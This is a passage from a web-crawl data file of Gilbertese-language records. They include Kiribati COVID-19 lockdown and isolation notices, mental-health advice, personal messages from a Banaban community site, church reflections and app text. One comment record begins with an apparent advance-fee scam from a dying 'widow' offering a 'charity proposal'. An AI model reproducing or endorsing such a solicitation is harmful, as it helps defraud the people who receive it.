te Minita ibukin te Aono n Raina ma Rawaki.\nN reitaki ma aio ao e a katokaki te mwamwananga irouia te botannaomata n nako aon aba ma a tii konaa n roko kaain Tarawa ake a bae iaon aba ibukin kauarerekean butinakon te Aoraki, e bon tabuaki naba te mwamwananga imarenan abamakoro. E bon teimatoa n uki nikirakin kaako ao bwainaoraki nako aonaba rinanon ana kainibaaire te Botaki ibukin te Mauri ao Katoki Aoraki ma a kantaningaki kambana ni kaibuke bwa ana bon karekeia aia taan mwakuri ake ana ira te kaibuke ao ni kaerakei kaako nako mataniwin te aba ao taben te abamakoro anakin te kako mai mataniwin te aba ao ai taben te abamakoro ni karekeia ana tia mwakuri ibukin urakinan te takataka nako mataniwin te aba ao tabeia taan mwakuri nte kaibuke karuoana nakon te kaibuke. E karaoaki aei ibukin te tauraroa bwa totokoan butinakon te Aoraki aio. Kamatatan te kainibaire ke te SOP ena manga bon karokoaki inanon bain ami Kauntira nte tai ae waekoa. Tia bubuti naba aia ibuobuoki kambana ke bitineti ni kaibuke ke bao ni mwamwanga i taari bwa kamwa ibuobuoki nakon aio.\nTe kakaitau nakoimi ara botannaomata ibukin te ongotaeka ao irakin nanon kaetieti are ti a mena inanona ngkai. Ia reita naba aio ma te kakaitaku nakoia ana taan mwakuri te tautaeka n retiaki ma te Taskforce ao bitineti ake teimatoa n tei I moan te waaki ni kaitara te Aoraki aio. Bonanora ni kabane n ibuobuoki bon ara tokanikai ibukia ara botanaomata.\nTe bubuti bwa kam na bon teimatoa n tiku iaan mwengamii ao man aki nakonako ao kateimatoa te tebo bai, te tauraroa ao kabonganan te rabuna n ubu ni katoa tai ao a bati riki.\nE na teimatoa n uki te boobwai man te aoa 6 n te moaningaabong nakon te aoa 2 n te bwakantaai ao kam kaungaki bwa kam na bobai n ami kaawa nako. Ai bon te kauring naba bwa kam aaikoa kawarii mweenga riki tabeua inanon taai akanne ma bon ti kabongana ibukin kainanomi ni karekei kanami.\nTe kaako e na teimatoa naba n nikiraki n taian titooa inanon taai aikanne ao te bubuti bwa kam a buokiia bureitiman ibukin irakin nanon kaetieti aikai.\nE teimatoa n uki kawaran te Onaoraki ngkana iai kainanoana.\nN te tai aio ao e rangi ni kainanoaki te ikarekebai ao kateimatoaan te boboonnano ao te ongotaeka nakon iran kaetieti aika e na teimatoa ami Tautaeka ni kaakatanoatai ngkai ti teimatoa ni kabanea ara konaa ni kaaitaraa te aoraki aio. Ngkai e kakoauaki bwa ea bon butanako te Aoraki aio ao bon tabera ni kabane te uaia n ibuobuoki. Ai bon au bubuti bwa kam na aaki nako n nano, waekoa iiti ke kakoroi itimi bwa ngkana e koro nanon aio ao te kantaninga bwa e na uarereke rootakimi n te aoraki aio ao riki kain mwengami ake ana bon rangi ni kakairotaki. Ibukin ami rongorongo ao a teimatoa n marurung raoi koraki ake a kawakinaki ake ea tia n reke manin te Aoraki irouia ao iai ake iaon kawaina n toki te Aoraki aio irouia.\nIbukin riki ongorami ao te curfew order are moa man te kaonobong 22 n Tianuare 2022 ena toki korakorana nte Kanimabong 28 n te aoa 6 n te ingabong ma e kona ni manga reitinako ngkana e noraki kainanoana.\nAra onimaki n taainako bwa e na raoniira te Uea n anganiira te korakora ao te marurung ni kaaitara te aoraki aio.\nTe Mauri, Te Raoi ao Te Tabomoa iaora ni kabane.\nAmi Beretitenti ae mangori\nTaneti Maamau.\n---------------------------\nState of Disaster Order Declaration and lockdown for South Tarawa, Betio and Buota.\nPresident Taneti Maamau had today delivered a press statement to update the public on the status of the coronavirus (COVID-19) in the country and what the Government is doing to protect public health. The President also announced several new actions that the Government is taking, since the lockdown of 22nd January 2022, to mitigate the spread of the virus including a lockdown for the Capital South Tarawa, Betio and Buota village in North Tarawa.\nThe State of Disaster for the whole of Kiribati was proclaimed to trigger further authorisation and access of necessary resources to manage the impact of COVID-19 in Kiribati including a curfew order for South Tarawa, Betio and Buota as the Government believes this would allow it to mitigate its further spread in these areas without hindrance or delay.\nThe increasing number of community cases on South Tarawa and Buota requires restricted movement to enable our frontliners to undertake contact tracing in the interests of public health and safety from COVID-19 and the State of Disaster is a key component of these efforts. The Ministry of Health and Medical Services (MHMS) can now confirm that there are now 23 COVID-19 positive cases outside border quarantine. The 36 passenger cases remain in border quarantine whilst the 23 are also in quarantine.\nBy declaring a State of Disaster, a number of actions are triggered by the President, including the zoning of areas to ensure people limit their access to shops for groceries and other essential services to their neighbourhoods and villages from 6am to 2pm. This alongside the curfew orders that were announced earlier remain in effect for South Tarawa, Betio and Buota only up to 6am 28 January 2022 unless another Order is issued before then and supersedes the current order.\nThe President reassured the public that travel from South Tarawa to Outer Islands is prohibited to control the spread of the virus. Residents of South Tarawa currently stranded on Outer Islands can return to South Tarawa. The Government is working closely with suppliers and service providers to facilitate the ongoing delivery of cargoes and supplies to Outer Islands in accordance to COVID-safe protocols of the MHMS.\nThe President also reminded the public to contact the toll free line 555 if they feel unwell with COVID-19 symptoms or visit the Tungaru Central Hospital with strict observance of SOP such as wearing of face masks, and social distancing. The public is urged to seek medical assistance and advice when needed at the earliest opportunity to prevent further complications.\nPresident Maamau conveyed his acknowledgement of the tireless work of frontliners and the public's patience and cooperation during this challenging time. The President also appealed to the public to restrict their movement to their bubbles or households. The President reaffirmed that accessing supplies from nearby shops can be made from 6am to 2pm and that this privilege is strictly limited for this purpose. The Government is working closely with wholesale suppliers, grocers and retailers to ensure shelves are replenished and residents of these lockdown locations have access to goods and supplies they need.\nThe President reiterated that the Government is tapping all available and necessary state resources to help manage this situation and added that united and working proactively and collaboratively we can respond and overcome this challenge and protect public health.\nAs conveyed in previous public announcements, a full dose of the COVID-19 vaccine is the best defender at present that can reduce risks of complications from COVID-19 and those who have not received their first and second doses should make the effort to get jabbed at the earliest possible. The vaccine protects us all if we are all vaccinated particularly those in our homes and communities who are more vulnerable to COVID-19.\n(PLEASE SHARE - TAIAOKA TIBWAIANAKO)","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.president.gov.ki\/news\/92-ana-kaongora-ni-kamataata-riki-te-tautaeka-iaon-te-covid-19.html","date":"2022-08-13T03:57:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571869.23\/warc\/CC-MAIN-20220813021048-20220813051048-00020.warc.gz","language":"gil","language_score":0.9999320507,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.999932050704956}","num_words":1702,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.24,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkana ko a tia ni kamatoaaki bwa iai manin covid-19 iroum ke ngkana iai iroum kanikinaean te aoraki aei, ao tai nako n nano ma karaoi bwaai aikai:\n- Tiiku n am auti ao tai rerebaua\n- Kaokoroko n te ruu ke te buia\n- Kabongana te mask ke nangoan te ubu. E kaungaaki kabonganaakin te mask te kunikai ae ituaki ae na 2 nakon 3 te kunikai matenna. Am mask ke nangoan ubum e na riai n tau raoi n rabuna ubum ma bwairim, tabam ao nako aan bwangem. Ngkana e mwaimwai am mask ao oneia nakon ae boou ao e itiaki\n- Kaitiaka ao teboka baim ma te toobu n taai nako\n- Kamanoia kaain am auti aika a na kai rootaki man korakoran te aoraki n aroia koraki ake iai aorakiia ao koraki ake man te ririki ae 50 ni waerake\n- Tararuaia am ataei bwa a na aki takakaro irarikiia aika a kai reke n te aoraki\n- Tai mena inanon te auti ae bono ao n aki uki te ang iai n te tai ae maan\n- Tai mwamatie, kabuti moko, bekobeko, baaware ke n ongira ngakom n aki akaka ke rarikiia aomata\n- Kaokoroi am bwai n amwarake, bwaai ni matu ao kaokoroa am roki ke kaokoroa am tai ni kabonganaa te roki ma kaain am auti\n- Ngkana e tuai koro itim ao ko na bon kakoroa itim ni katantan n te covid-19 ngkana ko a marurung man te aoraki ae te covid-1\nTeimatoa taratarai kanikinaean korakoran aorakin covid-19 ni kaoti iroum ao waekoa reitaki ma te onaoraki nte number ae 555, Aikai kanikinaa:\n- Iai namakinan te bono n ike\n- E maraki bwabwaam ao n tinebu\n- E mwaninga teutana am iango\n- Te aki konamaki n uti ke te aki mamatu\n- Mainarake, e kun ke n taraa ni buruu te kun, te ria ao te uki ni bai\nIbukin kamataata iaon te tutuo nte Covid-19:\n- Kaota te kaawa ma te tabo ae ko maeka iai ao mwaitii kaain am auti\n- Te tai aio, a na moanibwai n te tutuo aoraki aika kakaiakiao e na karoko naba te tutuo n taian clinic ngkana iai nooran biriraken te aoraki n taabo akanne.\nTia bane ni kaai n reitaki ni ibubuoki n taobaraa butinakon te aoraki aei.\nKo raba n am ibuobuoki\n(TAIAOKA N SHARE AIO NAKOIA RAORAOM)","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/covid19.gov.ki\/press-release\/Man%20Te%20Botaki%20Ibukin%20Te%20Mauri%20ao%20Katoki%20Aoraki","date":"2022-11-26T10:09:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446706285.92\/warc\/CC-MAIN-20221126080725-20221126110725-00060.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":377,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I am Mrs. Julie Mewis, an aging widow suffering from long time illness (Esophageal Cancer). I have some important information (charity proposal) for you, May God continue to bless you, Please reply (firstname.lastname@example.org) for more details.\nRaitinibure mauri nte ririki ae boou kam uara ni bane anyway I was in Lautoka when Kukuria told me about the wedding she went to attend in Tailevu which I try to remember who she was talking about .my two elder ones they to visit nei mokai they have fallen in love with the beautifull village already[Tabiang] Utake care and we will be in touch ..\nmauri nei raiti, well te kamauri ao teinga mai kai mai iroun nei tarabua, tairati and your sister atoba....e nang ni crazy nei atoba yesterday cos e nang ni kan reitaki mang koe.... so kana iai maoam ao koa drop by even aunty tarabua want to meet u too... anyway tekearaoi te waki and always stay bless... rgds to u and your kids.... hope to hear from u soon... take care!!..\nmauri nei raiti.. ao kou ara ma am utu nte bong aei?? wel i just stop by to say hi and have a great day... rgds from aunty tarabua and uncle tairati to and all your family...take care and tia boo moa..\nMauri naba Raitinibure Lanyon e bati raba naba te ururing bwa bon akea n au kantaninga bwa e na riki aei,tao bon te mii,ngaia bon te katekeraoi naba mai ikai, arei ieta te ururing, te tekeraoi iriam n taai nako.\nmauri,ani kabara te bure ia bon roko te kara irou ia bon mamaninga taekan am bwana ni karaoia,iakataia ni karaoa am CD te wiki aei ao ia kanakoatia naba ke ba ara computer ea raoiroi ngkai, ia reitaki ma ngkoe ngkana ereke keh..\nah! neiei, koa bon nirako? e a bon takia mainainaim, koa bon tekena teaba.\neoaria ma na bon tuanga tariu era nei Tetongo ba enaki manga nako aan te riringa.\nha....ha....ha...anyway bon teinga nakoia am koraki\nTake care","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2cd09ltm10e8h","date":"2023-01-29T15:57:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499744.74\/warc\/CC-MAIN-20230129144110-20230129174110-00002.warc.gz","language":"gil","language_score":0.952287674,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9522876739501953}","num_words":335,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":0.942,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkna a reke au tamnei ibukin Bou ao ia send over bwa kam na noria!!! I tataninga ngkai Tomasi bwa ngaia ae rawe tamnei nte mate... ia tia ni butia bwa i kan mataku naba iai... E uara mom??.. i taku bwa ea marurung..\nEng Bou e bon roko nte auti 3 times a bon roko nte auti ao te anene ae a karaoia ma Nei Teiratu ao Tebeaningare.. ao ngai i tabe ni kukana kanaia.. ngke a kitanai ao a nako rabi e bon tareboniai Bou bwa a bon roko nte auti i Tabiang ti bon kakaraki ao ti ngare.. ao nte ingabong ao ea uotaki nakon te onaoraki... ao ikanne ea motirawa iai... e nang kawa bwa ia ururingnga iai..i bon karaoa au taoatama nte auti bon ti ngai...ao e bon rotai te nanokawaki.. ma e nang kanga te aba nte maiu aei... regards to mom ao tavale.. tibo moa\nKoa tuanga tinam anne bwa tera ana colour nte karai.. bwa n naki biiri ni baba iai nna kataia ni karekei imain nakoatiu... E uara tavale e bon marururng naba??.. koa anganna au kamauri. E nga ngka Nei katoto???.. koa kaongoa bwa ia karekei ana ngake ngkna i nakoati. ok E uara naba Nei Turkey??? bon te kamauri naba nakoia ma natina.\nNgaia tera ae koa bon tangiria mai ikai??? koa kaongoai b4 i nakoati. A uara kain ami auti i Eita??? bon te kamauri naba nakoia. Tai maninga ni karokoa am rongorongo imain nakoatiu. Tibo moa take care back to work.\nBon te kamauri nte ririrki ae bou nakoimi ma mum and tavale koa bon karokoa ara kamauri ao ara inga nakoia ioan Eita n reitaki naba ma Nei Kabua ma Nei katoto. E bon koaua bwa Ea manga roko naba te ririki ae ao tina look forward. Bon te bana ni kateke raoi mai iroun Aunty Mere ao ai Molyn. HAPPY NEW YEAR AND GOD BLESS.\nMauri nte Xmas!! rongorongon ikai akea bon te makuri naba nte bong koraki. Ia ongora mai iroum ngkna a bon tangira ana part te car are i taku. Ia kaboa mai ikai ao ia uotia n nakoaiti. Na bae n roko ikanne Jan, Feb early. Regards to mum and dad. Moce mada.\nNna bae n roko ikanne Feb. If not earlier Jan. Merry X-Mas And A Happy New Year to all regards to mummy and dad and don't forget Nei Turkey Ea tia ni bung???. E uara ngkai Nei Katoto E nga???. Bon te kamauri naba nakoia ma Nei Kabua i Eita. God Bless\nIa tia n reply nakon tarim are i Betio iai teuana kaokorona iai, ngkna ngaia anne ao ia uotia nakoati. Nnna roko nte tai waekoa ikanne. Nna kaboa ma te part are similar ma are i uotia mai. Boona bon $100 plus. E uara tavale ao tinam koa angania au kamauri ao ara merry X-Mas and New Year. Tibo mpa and God Bless. Tai maninga Nei Katoto.\nMauri Ea man te taai ti tuai man reitaki, I taku kam nang miss me e nang kanga te aba ai bon aron te maiu aei. Koa anga au kamauri nakoia kain te auti ao ai Nei Turkey e uara???. Tai maninga tavale Muna n anganna au kamauri naba E kawa tavale Tutaake. Koa anga naba au kamuari nakon maneu ane te ataeinaine Nei Kabua, ao uringa naba Nei Katoto. Tia bo moa and take care God Bless. I will be there around Dec. Love\/ Uncle\nhey tarina .thanx 4 ur news but i just went dare dis morning n shes notyet arrive.anywa u inform her that i'll c her 2morrow.hey u know m place so u can come over if u have time if not then its ok\ntake care\nc u soon","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1lrxwgx98h0ge","date":"2023-01-27T14:30:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494986.94\/warc\/CC-MAIN-20230127132641-20230127162641-00256.warc.gz","language":"gil","language_score":0.9999070168,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999070167541504}","num_words":622,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Marurungin am iango\nNgkana ko namakinna bwa ko a rotaki n am kanganga nako, e kakawaki bwa ko na maroro ma taan rabakau ibukin te kuakua.\nArom ni kawakina marurungin am iango\nIai bwai aika ti bane ni kona ni karaoi ni kateimatoa marurungin ara iango ma marurungin aia iango raora aika a bati n tangiraki:\n- Teimatoa n reitaki ma raraom ao am utu — aio ae kakawaki ibukin kateimatoan marurungin ara iango ao ni buoka aron ara namakin bwa ti mano man te kanganga, ni kauarerekea te rawawata ao te nakonnano.\n- Kinai raoi am namakin aika a reke — bon te bwai ae e riiriki i nanon maeura namakinan rakan kukureira, rawawatara, te ingainga, te raraoma ao te maku. Kariaia bwanan nanom n anganna ana tai ni kinai ao ni kabwaranakoi taian namakin n rabwatan.\n- Kateimatoa am taneiai n arona are ko wawaki iai — kataia ni wakin arom ni maium aika a na teimatoakataia n aki karaka arom aika a aki kamarurung n aron kakaean raun nanom man karakan te amwamwarake, mooi, te moko ke te moko te bwaiti ae maeu man te iti.\n- Kakawaria aomata aika ko a ataia bwa a na bae ni kainnanoa te ibuobuoki — ngkana ko ikarekebai nakoia nake iai namakinan te rawawata ke te tabeaianga irouia n tibwatibwa mangaia ao e na kona ni uaana nakoim ao nakon raom are ko buokia.\n- Kauarerekea am tai n onrain — tuoi kaongora n te rerio ma te tv ao te intanete inanon taai aika ko kataui n aron tetaina ke uatai n tebongina.\nAntai ae ko kona maroro mangaia\nIai rain n tareboon ni ibuobuoki aika a tauraoi ibukin karekean rongorongon taian buoka ao ibukin buokaia te koraki ibukin kamarurungan aia iango. Taian tieweti a tauraoi 24 te aoa ni katoa bong, 7 te bong n te wiki.\nTieweti ao taian buoka\nAkea te kanganga ngkana ko bubuti buokam. Ngkai ti ikarekebai ni mwakuri n totokoa te aoraki aio iai aomata ao botaki ni mwakuri aika a kona ni buoka kainnanom. Aikai taian taeka ni ibubuoki, buoka boutoka riki tabeua, ao boutoka ngkana ko kainnanoi. Ngkana ko aki ota n te taetae ni I-Matang, ko kona ni bubuti karekean te tia raitaeka ibukin buokam ngkana ko tarebooni ana botaki nako te tautaeka.\nLast updated:","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/support\/support-for-individuals-and-families\/","date":"2023-01-31T03:47:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499842.81\/warc\/CC-MAIN-20230131023947-20230131053947-00507.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":373,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tibatiba: Te maiu ae kororaoi inanon te Inaomata,\nBon ana kantaninga te Atua ibukira ni kabane ba ti na bungiaki inanaon the te inaomata are te bungiaki inanon te Berita ma ana kantaninga te Atua ae maka mani mimitong are Ngaia ae karika Karawa ma aonnaba. Bon ana kantaninga ibukira te Atua bat i bungiaki ao ni maiu inanon oanaomata inanon te Uea ao tikai te tautoronaki inanon te bure\nE kaotaki nakoira ikai ba bai ni kabane aika karikaki a na riai bane n rinanon ana kantaninga te Atua ba akea te bai ae riki ni manenanti ma a bane n riki bai nako inanon ana kantaninga te Atua.\nAo tera raoi ana kantaninga te Atua ngke karika te aomata? Eng bon ti teuana ana kantaninga te Atua ngke E karika te aomata ba E na riki ba katotongan te Atua ae na riki ba rona ni maeka I Karawa n aki totoki.\nN te moani wareboki n te bong aio ao ti ongora rongorongon te burabeti ae Iona ngke e kanakoaki iorun te Aroun te Atua ba e na rairi nanoia kain Ninive. Ibukin makuna ao rawana ni kawara Niniwe ao e roko te buaka ae korakora inanon marawa ao e tuatua te burabeti ae Iona ba e na karenakoaki nako inanon marawa ba e aonga n reke te raoi. Ma ngke karenakoaki Iona ao e kabautaki naba iroun te ika ae moan te bubura ao e tiku inanon biroton te ika inanon teniua te bong ao imuina ao e a manga mumutaki Iona iroun te ika iaon te bike ao iana e mananga Iona nako Ninive n taekina te rairannano nakoia kain Ninive ao aia uea. Ibukin aia ongotaeka ao aia rairannano kain Ninive ma aia uea ao a bane ni kamaiuaki ao n aki kamaunanakoaki.\nTariu ao maneu ni kaekan aia titiraki aomata ake a kainanoi taian kanikina ba e aonga n reke te kamaiuaki irouia ao E kaekaia Iesu ni kangai; \"Ba bon te roro ae kam buakaka ngkami. Bon akea te kanikina ae kam na anganaki ba ti te kanikina are iruon Iona. Te koaua ba n tain te motikitaeka ao a na bane n teirake kain Ninive n totoko ibukina ba a tia ngaia ni rairi nanoia man ana kabarabaraba Iona nakoia ba a na rairi nanoia. Are nanona ba bon iai riki te oini bai ae moan te kakawaki riki nakon rongrongon Iona ba bon taekan Iesu are boni Ngaia te an Rikitemanna te Atua are na uota Maiu ni Koaua nakon aonnaba.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1774-te-maiu-ae-kororaoi-inanon-te-inaomata","date":"2023-01-28T19:20:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499654.54\/warc\/CC-MAIN-20230128184907-20230128214907-00511.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":421,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey Tutu tao koa bon tia n ongo te rongorongo are motirawa Tekateke ara buun Teretia two days ago. Antai ae nang aki motirawa man te maeiu aio kee . bon ti tekeiakinaki aron te maeiu aio ba kona roko n te mwenga are ei tiaki .\nAhahahah ....Tutu eng kai e koaua aee.. ae ti maroro ikai kee ao ngaia anne tuanga tariu anne bwa e na bwaina te amamarake kee ba eaongan ae e a intoa kee ...ahahaha angania am koraki naba ara kamauri . Tekeraoi ao tia boo ngkami\nTutu mauri moa ngkoe ao buum are te boboto anne Tinakabuta. kam aura moa ngkai.e raraba te maeu aio ba tia manga uaia ni nono ikai kee .e tau ma kam na tiku ma te tekraoi ao ngai ia nako ma te makeikei. anga aia kamauri au koraki nakoimi ni kabane\nneiko kouara moa ngkai .auara natim aikanne ?? eaura raom anne ?? koa anganna naba au kamauri kee. long time ma e raba ba ia tiba roko n ami auc aio ma ia ti katuka naba au rongorongo nakoimi ngke akea ngkami E tau ma rtekeraoi ngkami ma buum anne ao natimi ni kabane . E.Akai tia boo moa ngkami.\nmauri\nwel glad 2 hea d@ da drop outs r sculing.so wat happen to miss Benia n Mirini???anyways send regards 2 da new teachers...ahahahah.ohh m in kiribati doing my foundation in usp n probably i'll b in fj by nxt yr n hope to visit da paradise island (rabi)\nKo uara ma kain am auti??????? Iai ami plan n te ka-ririki aei ke akea? I want to join in the fun ngkana iai. I will try to make it there if possible.....I don't know how but, I will try anyhow? Te news ngkai, e a roko te karau teutana which is a pre-Christmas present from above. Last Sabbath ao raora Temwate ma Nei Taaun, ti invite them ibukin ara divine serivce. Ti tebo ma tia manga botaki i Rabi......\nTi bane ni marurung raoi ma kain ara auti, Tawiwi, Mafifi, Tekeabuti ao ngai. Papa, e memena irouia Nei aunty Tek maa bwa e raoniia n aia auti irarikin te o-n-aoraki.\nUringiira n te mwangko, kee? bwa e a koro uringana ngkai ti ongo bwa e a mori mwangkoon Rabi.\nTe katekeraoi nakoim ma Sir Tirakabuta, Rronald ao Ataniti. Pass ara kamauri naba nakoia kain Kesu2, Uma ao Buakonikai, ao nakon Daniel i Tabwewa.\nNgkana e abwabwaki te maiu ao e reke angan te roko ikanne......tia tai manga reitaki, kee??????? Tia boo moa ao God Bless!\nhey, moan te kubanako ngai n ongo maten qio iroun nei terenga ngke ti chat last wk. te bong are imwina ao ia manga ongo irouia nei tekeabuti ma aroni matena.....e kabwara nano te maiu aio ma e aoria bwa are boni kanoana.\nngkana iai am mwane ao koa taiaoka ni karekea kantokau mai suva nako rabi, bwa na mena tao i suva, ke tao n te air port i nadi n 26\/Dec ao na kitana biti n 24\/Jan\/2011. aio tuku ikanne ngkana i oki mai vanuatu.\nmauri aunty e koaua ba ea bon roko te kara ma tao na bon kabarabaraai nakoim\nbwa earia n oki am kikina gai gkanne natin nei Boueri ma takabiri ma i tobwaaki\niroun nei mum teaitara.\nkoa manga bon reitia mai ikanne.\nmauri moa aunty nte ririki ae boou aei,kouara moa gkai???\nkai e rang raraba gkai ia manga kaitiboaki ma gkoe ikai..aunty komena gkai ia.\neanga gkai aunty polonga ao auncle peter ao tabuaki???regards to all of them.\nI taku bwa koaki kinaai ma ena manga bon kauringko tameiu akanne.\ntekeraoi aunty ao koa manga bon reitia mai ikanne.\nMauri, ngai ngkai i mena i New Zealand ao e raba te Uea ba i marurung, ao ngkoe kam mena iara ngkai?..ao enga ngkai manem are Peter,eatia ni ain ke tuai?? koa manga reitia ma ikanne mawan am tai.\nTekeraoi te tiku ao te makuri ikanne.\nMoce!","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=1yvkofefb9ihv","date":"2023-01-29T16:59:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499744.74\/warc\/CC-MAIN-20230129144110-20230129174110-00351.warc.gz","language":"gil","language_score":0.9999361038,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999361038208008}","num_words":654,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.239,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te bong aio ao ti auringai ba te Kristo E kan anganira te maiu ni kaoaua iananon te te inaomata. Are nanona bat i riai na ki karaoi baia aika a ira tuan aonnba ma bai nako aika ti karaoi ana riai ni boto kan akaraoan te raoiroi ae boraoi ma Nanon te Atua. Ti riai n aki korotobibiaki ibukin te tua ba iroun te Atua ao ti aki makamiuaki ibukina bat i krotobibiaki ke tiaki ma ibuklin bat i kakaraoa ae nanon te Atua.\nEng ti aki kamiuaki ibukin iran te tua ma ti kamaiuaki ibukina bat i maiuakina ae botau ma Nanaon te Atua.\nN te ewanghkerio ao ti nora aroia baritaio ni kakanikoa Iesu ngke e aki E aki e urua tuan te tebokaniwae imaian te amarake n ai aron ai tua Iutia. E kaekaia Iesu ni kangai. E taju Iesus nakoia baritaio ba e aki kakakwaki ba e na tararaoi te mangko mai akuna ao e kakawaki ri ki ba e na itiaki te mangko maiananona . Are nanona ngkanne b aba ngkana ti karaoi makuri n tangira ma te nano n tangira ao n akoi ao ngkanne ao ngkanne e na rota noraki iai itiakin arora I matai aoamata. Are nanona ngkannne ba ngkana ti kan riki n raoiroi atara ao tin a kaitiaka moa nanora. Ba e kakawaki riki ba e na raoiroi nanaora nakona ae na itiaki moa tinasnikun rabatara.te inaomata Holy Gospel of Jesus Christ according to Saint Luke 11,37-41.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1775-tiaki-ba-teuare-e-karaoa-are-i-tinanoko-e-karaoa-naba-are-inanona","date":"2023-01-28T20:09:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499654.54\/warc\/CC-MAIN-20230128184907-20230128214907-00564.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":247,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Download Kiribati Radio Live App for all the latest news and music from Kiribati.\nRadio broadcast live from Tarawa Kiribati.\nIai te facebook page ae ti create ibukin te app aio are kama kona iai ni comment ibukin te nan kanganga ae kam kaitibo mai ngaai. Aran te facebook page: Kiribati radio live","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.nrilic.com\/1787\/kiribati-radio-live-v1-3-1-apk-for-android-download\/","date":"2023-01-29T03:24:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499697.75\/warc\/CC-MAIN-20230129012420-20230129042420-00077.warc.gz","language":"gil","language_score":0.9784064889,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9784064888954163}","num_words":53,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nikirakin amwarake n tenan mwenga\nNgkana ko aoraki, ke ko aki kona ni kitana mwengam ni kabo amwarake ke bwai ake ko rangi ni kainnanoi, ko kona n butia am utu, raraom ke kain rarikim bwa a na nikiri bwai ibukim ke ni kabobwai ibukim. Maroro ma nake a kona ni buokiko n aroia am utu, whānau, raoraom ao kain rarikim n noria ngkana a kona n nikiri bwai ake ko rangi ni kainnanoi nakoim.\nKatai tieweti ake a kona ni nikiri bwai n te mwenga n aekan te tubwamakete, amwarake ake a batianaki ao n nikiraki n te meeri, amwarake ake a tia ni katauraoaki ao ni kaburaokaki, baoki n mwarake ake a kaboaki n aron baoki ni uanikai, taian bwai ni kabaranti ke tabo riki tabeua ake a kona n nikiri amwarake:\n- Ibukin kaboan baoki n amwarake nako: My Food Bag (external link) KE Hello Fresh (external link)\n- Ibukia tubwamakete ake a kona 